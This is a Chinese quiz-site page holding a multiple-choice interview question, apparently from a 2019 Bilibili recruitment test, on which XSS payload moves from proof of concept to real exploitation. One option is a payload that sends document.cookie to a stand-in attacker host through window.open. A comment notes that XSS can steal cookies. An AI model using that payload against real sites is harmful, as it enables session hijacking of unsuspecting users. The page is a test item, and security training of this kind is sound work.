首页 > 试题广场 >

哪一个 XSS payload 不是止于概念验证（POC）

[单选题]

哪一个 XSS payload 不是止于概念验证（POC），而是进行了漏洞利用？（）

?a=location.hash.substr(1)#setTimeout("hi.eval('prompt(location.href)')",500)

?a=window.location.hash.substring(1)#Object.defineProperty(navigator,'userAgent',{get:function(){return '<script>prompt(location.href)</script>';}})

x=document.writeln(%22%3Ciframe%3E%3C/iframe%3E%22);let%20f=document.querySelector(%27iframe%27);f.contentWindow.prompt(location);

?x=window.open('http://xxx.me:8080/cookie.asp?msg='+document.cookie)

查看正确选项

咸鱼同学

利用xss可以获取用户的cookie值

发表于 2019-09-05 13:10:53 回复(0)

提交观点

问题信息

C++工程师 iOS工程师安卓工程师运维工程师前端工程师算法工程师哔哩哔哩测试工程师 PHP工程师 2019 安全工程师 Java工程师

来自：哔哩哔哩2019秋招技...

上传者：小小

难度：

1条回答 20收藏 1123浏览

扫一扫，把题目装进口袋